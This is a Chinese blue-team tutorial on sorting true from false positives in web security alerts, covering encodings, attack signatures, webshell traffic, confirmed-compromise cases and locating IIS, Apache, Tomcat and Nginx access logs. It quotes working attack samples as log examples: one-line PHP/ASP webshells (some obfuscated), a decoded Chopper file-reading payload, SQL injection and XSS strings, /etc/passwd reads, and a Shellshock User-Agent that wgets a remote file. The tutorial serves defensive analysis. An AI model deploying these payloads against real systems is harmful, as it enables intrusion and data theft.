蓝队防守:如何判断安全告警的正误报?

admin 2024年6月29日18:54:11评论1 views字数 10805阅读36分1秒阅读模式

本文作者:雁过留痕@深信服MSS专家部

0x00前言

在值守过程中,身为一名蓝队防守人员,最基础的能力就是HTTP的日志分析能力,那么,何谓HTTP日志,HTTP日志又分为哪几类?本文围绕日志分析这一方面展开论述,详情如下。

0x01基础知识

根据GPT的回答,什么是http日志?答案如下:

HTTP日志是指记录HTTP请求和响应的日志文件。当客户端向服务器发送HTTP请求时,服务器会记录请求的详细信息,例如请求的时间、请求的URL、请求的方法、请求的来源IP地址等。当服务器向客户端发送HTTP响应时,服务器也会记录响应的详细信息,例如响应的状态码、响应的内容类型、响应的大小等。HTTP日志可以用于分析网站的访问情况、识别潜在的安全问题、优化网站的性能等。常见的HTTP日志格式包括Apache日志格式、Nginx日志格式等。

在分析HTTP日志之前,需要先学一下基础的知识,不然可能会看不懂数据包

一、HTTP的请求方式

HTTP的请求方式常见的分2种:GET和POST,当然,还有其他的,例如:PUT、DELETE、HEAD等等

GET:向指定目标发起请求,URL传参,一般用于获取信息或跳转页面
POST:向指定目标发起请求,数据包传参,一般用于提交表单或上传文件
HEAD:向服务器索要与GET请求相一致响应,不过响应头将不会被返回,一般用于目录扫描器
PUT:向指定资源位置上传其最新内容
DELETE:请求服务器删除Request-URL所标识的资源

1.GET型的请求数据包

发送一个请求来取得服务器上的某一资源,传递的参数在URI的后面,这种请求方式能够直接在浏览器的URL栏看到请求的参数:

蓝队防守:如何判断安全告警的正误报?

在HTTP数据包的呈现如下:

给news.asp传递了tpye=5和id=123两个参数

蓝队防守:如何判断安全告警的正误报?

2.POST请求方式

向模板请求资源时,如果采用POST请求方式传递参数,这时传递的参数在数据包体内,而不是在URI后面

HTTP日志的呈现如下:

该数据包,指的是向addnews.asp传递了两个参数:Title=test和content=test

蓝队防守:如何判断安全告警的正误报?

二、编码与加密

在http数据包里面,会经常看到各类的编码、加密。所以需要先了解一些常见的加密,有助于我们更好的理解。

例如,发现了某个数据包里面有个post传递的ghost参数,存在编码,如下:

某web日志:
ghost=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=RDpcXEFQTVNlcnY1LjIuNlxcd3d3XFxwaHBNeUFkbWluXFxjb25maWcuc2FtcGxlLmluYy5waHA%3D

这种编码完之后的数据包,需要解码后才能看到具体请求,在这之前,我们了解下数据包中常见的几种编码和加密方式。

推荐一个解码网站:https://gchq.github.io/CyberChef/

1.BASE64编码

     base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,要求把每三个8Bit的字节转换为四个6Bit的字节, 在email传输中,加密是肯定的,但是加密的目的不是让用户发送非常安全的Email。这种加密方式主要就是“防君子不防小人”。加密后的编码一般是由大小写字母,数字,等于组成。

base64编码主要用于对于参数传递的一种编码方式,比如:登录的时候对用户名和密码进行编码传递到服务端。

username=YWRtaW4=&password=YWRtaW4K
username=admin&password=123456

base64编码:1qaz@WSX===》MXFhekBXU1g=

蓝队防守:如何判断安全告警的正误报?

2.URL编码

当URL 路径,或者查询参数中带有中文、特殊字符的时候,就需要对 URL 进行编码(采用十六进制编码格式)。URL 编码的原则是使用安全字符(即没有特殊用途或者特殊意义的字符)去表示那些不安全的字符。
为什么需要URL编码?
URL 之所以需要编码,是因为 URL 中的某些字符会引起歧义,比如若 URL 查询参数中包含”&”或者”%”就会造成服务器解析错误,再比如,URL 的编码格式采用的是 ASCII 码而非 Unicode,这表明 URL 中不允许包含任何非 ASCII 字符(比如中文),否则就会造成 URL 解析错误。

解码网站:https://www.bejson.com/enc/urlencode/

例如,对1qaz@WSX进行URL编码后,@符号会变成%40,当我们在数据包里面看到%开头的字符串时,第一反应就是要进行URL编码。

蓝队防守:如何判断安全告警的正误报?

3.Unicode编码

Unicode编码一般用于网页的提示信息,例如接收验证码成功的时候会提示一串Unicode编码,下面就是关于Unicode编码长什么样子。

解码网址:https://c.runoob.com/front-end/3602/

以u、u+、&#x、&#开头

比如:u767bu5f55u6210u529fuff01解码后==》登录成功!

蓝队防守:如何判断安全告警的正误报?

4.16进制编码

以x开头

GET /news/society/201210/2358322923.shtml"</script><object data=javx61scrx69pt:npsduc(uhg)>
加粗部分16进制解码后如下
GET /news/society/201210/2358322923.shtml"
</script><object data=javascript:npsduc(uhg)>

5.md5加密

MD5加密是一串32位由字母和数字组成的不可逆密码,一般用于在数据库存储中对密码进行加密,如果需要解出md5加密前的字符串,需要通过撞库的方式。

目前好用的两个解md5的网站:
https://www.cmd5.com/
https://www.somd5.com/

e10adc3949ba59abbe56e057f20f883e===》123456

蓝队防守:如何判断安全告警的正误报?

看完了编码后,前面的数据包知道怎么解了吧

URL+BASE64编码还原:首先URL解码一次,内容如下

ghost=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1=RDpcXEFQTVNlcnY1LjIuNlxcd3d3XFxwaHBNeUFkbWluXFxjb25maWcuc2FtcGxlLmluYy5waHA=

URL+BASE64编码还原:将z0和z1进行BASE64解码如下:

z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(">|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();
z1=D:\APMServ5.2.6\www\phpMyAdmin\config.sample.inc.php

可以看出来是菜刀工具连接PHP webshell读取config.sample.inc.php内容的行为,非误报
同时可以确定/upfiles/bak.php包含一句话木马,应及时通知客户进行查杀

三、常见的正报与误报

1.攻击常出现位置

Get、post 请求报文的url字段
Get 、post请求报文的cookie字段
Get、post请求报文的referer字段
Post请求报文的表单字段
Get 、post请求报文的user-agent字段
Post请求报文的表单字段
Http应答页面

蓝队防守:如何判断安全告警的正误报?

2.攻击的特点

1)攻击一般都有一定的连续性,所以一段时间会产生多条日志,并且命中特征id是有一定分布的,不能是只命中某个特征。

2)攻击一般都会借助工具进行,同一个IP地址日志间隔较小,可能一秒中产生几条日志,明显不是人操作浏览器的行为。

3)攻击者可能会借助一定跳板,如果IP地址是国外的,攻击嫌疑较大。

3.日志的分析

1)基于攻击IP地址方法分析(适用日志较多的情况)
找出一个明显的攻击行为的日志
根据该日志找出攻击源IP地址
筛选出针对该IP地址的日志,这种情况下基本都是攻击,没有误报
针对该IP地址,利用前面介绍的知识,就可以看出攻击者都发起了哪些攻击

2)基于攻击方法分析(适用每类不太多的攻击)
看攻击语句,是否是明显攻击行为
如果能看出是明显的行为,就可以确定是攻击
如果不确定,还需要结合其他参数,
源IP地址:是否出现过其他类型可以明确的攻击行为
攻击时间:如果半夜或者凌晨活动比较频繁,可以怀疑为攻击。
日志频率:一秒中出现几次日志,可以怀疑为攻击。
攻击位置:国外的ip地址,可以怀疑为攻击
报文语义分析:比如访问admin文件夹,可能是有攻击行为
上述几个参数可以组合分析,进一步确定攻击

4.正报

1)命令执行

常见的命令攻击语句

GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd

攻击语句出现在Get 、post请求 URL参数中,尝试通过cmd传递touch tmp.txt创建文件,属于攻击行为,正报。

蓝队防守:如何判断安全告警的正误报?

尝试调用cmd执行dir命令,属于正报

蓝队防守:如何判断安全告警的正误报?

2)扫描工具

在User-agent中存在awvs的UA头,判定为扫描工具AWVS发起,属于正报

还有其他的异常UA:
恶意爬虫:Python-urllib/2.6、Baidu-YunGuanCe-ScanBot(ce.baidu.com)
扫描器:morfeus fucking scanner、Accept: acunetix/wvs
sql注入漏洞:sqlmap/1.0.8.15#dev (http://sqlmap.org)
xss攻击:'%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>
其它非常特殊攻击 :User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1

蓝队防守:如何判断安全告警的正误报?

3)webshell通信

常见的一句话木马

 <%eval request("sb")%>
<%execute request("sb")%>
<?php eval($_POST[sb]);?>
<?php @eval($_POST[sb]);?>
<?$_POST['sa']($_POST['sb']);?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%>
<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("c")%>(UTF-7编码格式的一句话木马)
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/]);?>

蚁剑连接webshell的数据包,属于正报,确实是攻击行为,是否成功需要观察回包

蓝队防守:如何判断安全告警的正误报?

4)SQL注入

探测语句
http://www.xx.com/showdetail.asp?id=49 and 1=1
http://www.xx.com/showdetail.asp?id=49 or 1=1
and char(124)%2Buser%2Bchar(124)=0(注入类型判断)
权限判断
and user>0  用户名
and 1=(select IS_SRVROLEMEMBER('sysadmin'))  权限
and exists (select * from sysobjects)  数据库类型判断sqlserver
查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  查库名
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0  查表名
and (select count(字段名) from 表名)>0  猜字段
and (select top 1 len(username) from admin)
=X  才字段值
http://localhost/mytest/sqlinject/?id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user    union select猜解法
and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116

下面数据包中GET请求传递的参数存在sql探测语句和联合注入语句,判定为正报

蓝队防守:如何判断安全告警的正误报?

下面数据包的POST请求传参,存在sql注入语句,属于正报,并且UA头属于sqlmap工具的UA头

蓝队防守:如何判断安全告警的正误报?

下面属于宽字节注入。存在明显的SQL注入语句,系正报。

蓝队防守:如何判断安全告警的正误报?

5)XSS攻击

常见的xss攻击语句

<script>alert("xss")</script>  脚本
<img src="'javascript:alert('xss'');"> 属性
<img src="http://ha.ckers.org/xss.jpg">
<body onload=alert('xss')> 事件
<div style="background-image: url('javascript:alert('xss''))">
<style type="text/javascript">alert('xss');</style>
<style>@import'javascript:alert("xss")';</style>
<link rel="stylesheet" href="http://ha.ckers.org/xss.css">

数据包中,GET型传参存在明显的XSS攻击语句,系正报

蓝队防守:如何判断安全告警的正误报?

6)信息泄露

配置文件访问
httpd.conf
htaccess
HTPASSWD
boot.ini
etc/passwd
Php.ini
Web.xml

信息泄露攻击一般指的是读取敏感的文件

下面这个数据包就是尝试读取Windows系统C盘Windows目录下的win.ini文件,属于正报,是否成功需要看回包

蓝队防守:如何判断安全告警的正误报?

尝试读取配置文件web.config,属于正报

蓝队防守:如何判断安全告警的正误报?

7)敏感后缀及目录探测

特殊后缀
.mdb、 .sql
.bak、.sav、.old、.las
.tmp、.temp
.rar、.zip、.bz、gzip、tar
.conf、inc、ini、bat
.log、stats、statistics
Web.xml

蓝队防守:如何判断安全告警的正误报?

8)应答报文提示信息

目录浏览:Parent Directory、Directory Listing For、Index of /、Welcome to the directory listing
错误信息:数据库错误信息、程序错误信息、错误信息、数据库错误信息、程序错误信息

下面是目录浏览漏洞的浏览器的展示

蓝队防守:如何判断安全告警的正误报?

数据包的展示效果如下,也是存在目录浏览漏洞

蓝队防守:如何判断安全告警的正误报?

5.误报

问题:一些网站实现存在安全隐患,用户的一些正常流量,也可以被攻击者篡改,直接发起攻击。
常见问题:
url参数实现时直接传递sql语句
url参数实现时可以传递js脚本
url参数实现时用../进行目录穿越访问文件
url参数实现时直接调用一些系统函数
url参数可以进行域名重定向
系统配置存在安全隐患

1)SQL注入误报

sql属于直接写在前端,通过post请求传递到后端的时候触发安全设备的告警,属于误报

蓝队防守:如何判断安全告警的正误报?

2)XSS

xss属于误报非常高的一种攻击,所以分析日志的时候一定要注意

数据包中通过参数直接传递了js脚本,所以产生了误报

蓝队防守:如何判断安全告警的正误报?

同样也是传参了js脚本

蓝队防守:如何判断安全告警的正误报?

3)目录穿越

目录穿越又被称之为目录遍历

下图数据包就是业务的../导致触发的目录穿越攻击,属于误报

蓝队防守:如何判断安全告警的正误报?

一样,也是../触发的目录穿越,属于误报

蓝队防守:如何判断安全告警的正误报?

4)代码注入

用户的应用是代码交流网站,传一段代码

蓝队防守:如何判断安全告警的正误报?

6.小练习

你能看出下面的这些数据包是正报还是误报吗?

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

0x02攻击成功事件举例

一、sql注入

判别规则:注入参数中的ASCII码转码之后为qkzz开头的字符,在回包的BUMEN参数里面,该字符串被解析出来了,所以存在漏洞。

案例:

username=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,q k z z q D l S N j N i R o Z n j v L M O s l T O h C y v X r n W D t I D p y I V y z S M q q b j q,NULL,NULL FROM DUAL-- rSle

蓝队防守:如何判断安全告警的正误报?

使用sqlmap对该漏洞参数进行验证,发现能够跑出数据库名(注意,验证漏洞需经过客户授权),说明存在漏洞:

蓝队防守:如何判断安全告警的正误报?

二、webshell上传

判别规则:

1.查看请求是否存在恶意代码,上传的后缀是否是jsp、php、asp等脚本文件。

2.查看回包是否有回显路径、success等字样。

案例:

上传成功jsp脚本并回显路径。

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

三、Fastjson命令执行

研判依据:主机存在外联的情况,疑似漏洞攻击成功,经过手工验证(复制数据包到burp发包,反弹的链接改成dnslog的链接,不过如果dnslog接收不到请求可以尝试更换dnslog平台,因为防火墙可能会把域名拉黑)后发现漏洞确实存在。

案例:

SIP发现主机外联jndi的情况:

蓝队防守:如何判断安全告警的正误报?

搜索jndi外联的IP,发现有fastjson的执行命令的记录:

蓝队防守:如何判断安全告警的正误报?

由于没有回显,我们复制这个数据包到burpsuite里面,然后把ldap://后面的IP加端口的外联替换成dnslog,测试后发现dnslog确实接收到了请求,说明确实存在漏洞:

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

四、dnslog外联

主机存在dnslog外联:

蓝队防守:如何判断安全告警的正误报?

怎么复现?

找到一个dnslog平台(不要找比较出名的dnslog.cn这种,可能会被客户防火墙拦截,找dnslog平台可以去不常见的),把dnslog替换,然后再发包,回包显示是404,跟SIP记录的一样。

蓝队防守:如何判断安全告警的正误报?

在dnslog平台发现接收到请求,证明漏洞存在。

蓝队防守:如何判断安全告警的正误报?

五、主机对内网发起横向攻击(代理服务器)

分三种情况:

第一种:发起攻击的源IP是已知漏扫IP,这种就不用多说,确认是不是有漏扫就行。

第二种:数据包中存在XFF字段,真实攻击IP是XFF字段的攻击IP:

蓝队防守:如何判断安全告警的正误报?

第三种:数据包中没有XFF字段,那如何判断是不是代理服务器呢?需要上机查看:

89.163向89.252的27003端口发起攻击。

蓝队防守:如何判断安全告警的正误报?

上机找到nginx.conf配置文件,在配置文件中查找是否有目的IP和端口的代理,在文件中果然找到了相关配置,所以这个就是代理服务器的问题,没有配置好XFF,所以数据包看不到xff字段。

蓝队防守:如何判断安全告警的正误报?

在中间件日志中查看相同时间的日志,发现真实攻击是外网IP,并非真实的内网横向攻击。

蓝队防守:如何判断安全告警的正误报?

六、内存马注入

发现内存马的注入数据包,密码是pass1024,注入的路径是/favicondemo.ico;

蓝队防守:如何判断安全告警的正误报?

回包显示是-!|Success|<-,代表注入成功,这个时候就需要上机排查了。

蓝队防守:如何判断安全告警的正误报?

七、Webshell通信

可以看到请求的URL像通过webshell上传传上去的,然后参数是加密参数,这个时候如果有webshell通信了,文件如果不是历史遗留文件,那可能存在webshell上传漏洞,可以到SIP找下。

蓝队防守:如何判断安全告警的正误报?

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。Connection: Keep-Alive

蓝队防守:如何判断安全告警的正误报?

八、Shiro反序列化命令执行

看数据包,有base64,解码后请求包是命令,响应包是命令执行结果。

蓝队防守:如何判断安全告警的正误报?

0x03access日志分析

一、access日志常见的目录

1.IIS

通常情况下,IIS日志文件存储在以下位置:C:inetpublogsLogFiles。在这个目录下,您将看到以日期命名的子文件夹,每个子文件夹对应一个日期。在每个日期的文件夹中,您将找到具体的日志文件,通常以W3SVC开头,后面跟着一个唯一的标识符。

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

如何定位IIS网站的日志在哪?

1.先需要知道被攻击的端口是哪个,假设端口是80,找到IIS搭建的80端口的网站

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

2.右击网站,选择管理网站,选择高级设置,记住ID的值,现在为1

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

3.双击网站的日志,在打开的窗口中复制日志路径:%SystemDrive%inetpublogsLogFiles

蓝队防守:如何判断安全告警的正误报?

蓝队防守:如何判断安全告警的正误报?

4.打开我的电脑,输入复制的日志路径,回车,文件夹W3SVC后面的数字是网站的ID,上面是1,所以是第一个文件夹

蓝队防守:如何判断安全告警的正误报?

5.打开后就是80端口网站的访问日志:

蓝队防守:如何判断安全告警的正误报?

2.Apache

apche如何定位日志目录

1.先知道被攻击的端口,现在是90,根据90端口定位到启动目录,切换到apache目录下

蓝队防守:如何判断安全告警的正误报?

2.apache目录下的logs目录下的access文件就是访问日志

蓝队防守:如何判断安全告警的正误报?

3.tomcat

以下文件都是在tomcat启动时自动生成的日志文件,按照日期自动备份,其中访问日志默认不记录,需要配置。
1.localhost.log:主要是应用初始化(listener, filter, servlet)未处理的异常最后被tomcat捕获而输出的日志。
2.catalina.log:经常用到的文件之一,程序的输出,tomcat的日志输出等。
3.localhost_access_log.txt:tomcat访问日志记录,是存放访问tomcat的请求的所有地址以及请求的路径、时间,请求协议以及返回码等信息,也是我们常说的中间件access日志分析,非常重要,需要配置server.xml文件。
4.manager.log:webapps/manager项目生成的日志文件,一般看不到有什么重要的信息。
5.host-manager.log:webapps/host-manager项目生成的日志文件,是放tomcat的自带的manager项目的日志信息的,一般看不到有什么重要的信息。

tomcat默认不记录访问日志,如果遇到tomcat目录下的logs文件夹下没有access日志,可以通过如下方法查看日志是否开启。
查看 {catalina} 是tomcat的安装目录。搜索access字样,查看配置是否被引起来注释,如果存在注释,说明access日志记录未开启。

蓝队防守:如何判断安全告警的正误报?

tomcat如何定位到日志存放目录

Linux:

1.首先需要知道被攻击的端口,例如443端口,执行netstat -antlp | grep 443,定位到拉起443端口的业务。

蓝队防守:如何判断安全告警的正误报?

2.根据拉起的业务pid使用systemctl status PID定位到进程详情,可以看到,java拉起的tomcat目录,切换到tomcat的目录

蓝队防守:如何判断安全告警的正误报?

3.找到tomcat目录下的logs文件夹,里面存放的就是access日志。

蓝队防守:如何判断安全告警的正误报?

4.nginx

nginx日志也是一样,一般是做代理转发的,日志文件在nginx的安装目录下的logs文件夹下面。

Nginx如何定位到日志存放目录

1.先需要知道是主机开放的哪个端口搭建的业务被攻击,以80端口举例,是PID:4052开放的80端口。

蓝队防守:如何判断安全告警的正误报?

2.任务管理器找到4052进程,发现是nginx

蓝队防守:如何判断安全告警的正误报?

3.右击表头,选择列,找到命令行,勾选确认后,可以展示出进程所启动的命令参数和路径

蓝队防守:如何判断安全告警的正误报?

4.右击进程,找到所在位置

蓝队防守:如何判断安全告警的正误报?

5.打开logs文件夹

蓝队防守:如何判断安全告警的正误报?

6.里面存放的正是access日志

蓝队防守:如何判断安全告警的正误报?

二、access日志解析

中间的日志一般包含如下部分,我们可以利用这些已知信息来定位到漏洞点,下面是tomcat的日志举例

tips:iis中间件的日志的记录时间是格林威治时间,比北京时间快八个小时,所以我们分析iis日志的时候,要减去八小时才是真实的北京时间

蓝队防守:如何判断安全告警的正误报?

分析access日志的时候,可以用emeditor软件分析,非常好用

下面以该软件为例分析一个web应急案例

已知user.jsp是webshell文件

分析日志发现在访问user.jsp文件前面有个用admin登录tomcat部署war包的记录

蓝队防守:如何判断安全告警的正误报?

主机上确实存在user.war包

蓝队防守:如何判断安全告警的正误报?

并且还发现存在manager.jsp是通过user.jsp上传的

蓝队防守:如何判断安全告警的正误报?

‍如果你喜欢我的文章,请给我点个赞,关注一下我吧!

蓝队防守:如何判断安全告警的正误报?

往期内容推荐:

以点破面-探究勒索病毒常见攻击手法

原文始发于微信公众号(安服仔的救赎):蓝队防守:如何判断安全告警的正误报?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月29日18:54:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蓝队防守:如何判断安全告警的正误报?https://cn-sec.com/archives/2894947.html

发表评论

匿名网友 填写信息